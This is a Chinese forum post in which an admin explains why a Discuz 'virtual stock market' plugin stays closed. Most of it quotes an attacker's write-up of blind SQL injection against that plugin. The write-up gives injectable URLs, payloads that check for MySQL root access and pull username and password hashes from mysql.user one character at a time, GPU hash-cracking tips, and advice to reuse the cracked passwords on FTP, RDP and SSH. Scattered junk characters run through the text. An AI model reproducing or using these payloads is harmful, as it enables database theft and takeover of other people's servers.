TA的每日心情 | 奋斗 4 天前 |
---|
签到天数: 2370 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。, v! \0 x( ~9 b- D# d/ @* c1 o
2 k2 O2 N+ \. E我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。2 u5 c( R; v( d7 t; ?
9 a7 J% ]( b* A2 S4 v
漏洞如下:( e$ j5 y0 u7 r% s) X; ?
0 D; X8 Z8 T8 t2 d1 n S
Discuz插件《虚拟股市》blind Injection Vul利用
7 ?' z( T4 v& m( B! O: G/ G
9 O. ]% _! Q+ P
+ L7 Y0 a* I% w! Y( ]" v漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。
1 ]( G" G+ d" p- T' D7 `$ u. @: S' @) O- M经过简单的测试,就发现了《虚拟股市》存在注射漏洞: 2 [. s5 @( [ f; {1 s% e0 u/ o
http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数 ( w2 J- ?4 b- i& q- O
http://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数
" W* r# u$ g0 ]( e. w" d- b2 O确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。
. K5 M3 r/ ?4 D, f思路有二: % A0 l+ N6 x8 r& W9 X
1.尝试盲注 + N6 z) V$ k! {7 @. M) S; f
2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数 $ @- }( t, M: s4 _; j1 S
但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。
+ ]+ _& A0 ?! M2 n盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下:
0 j, B3 D: i/ ?, h7 Z#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 8 r, } `7 e k X" k; h* E& I& h
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5
; l$ h7 h6 s0 ^7 J `. R#是否支持子查询(版本为4的情况下)
- T( B4 H4 q7 S% z/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1 ( V/ `. P' Q" r U1 V
#当前用户是否为root
5 X2 l. R/ e8 [/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1
5 q$ h* d' u4 `/ Z下面就根据情况而异了:
2 m; Y+ C1 Q" e' ?! Z1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。
8 O9 q8 G$ I& _* z+ H9 ^9 i7 B2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。 $ T$ E( f+ Q$ h
#######取数据
) a7 s5 L8 w1 K6 I; w* D" m#mysql.user表第一行第一个字符的ASCII值是否大于80
( z/ J' h; ^0 I" {. }7 p& g" Pand ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80 : K: e; W' M) ~" u. K
#第二个字符的ASCII值是否大于90 5 i. k( ?" n- N7 s$ \+ M
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90
8 O: H0 h9 W" S………… ' `2 K4 {1 D2 X' C9 ~, _1 P
就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。
0 a6 y. t8 T* F9 _# v* X密码破解:
% o7 ?% p1 o6 G. f, J1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。 $ j' |5 Q' o( q$ y3 G0 `- ~7 q% m
2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|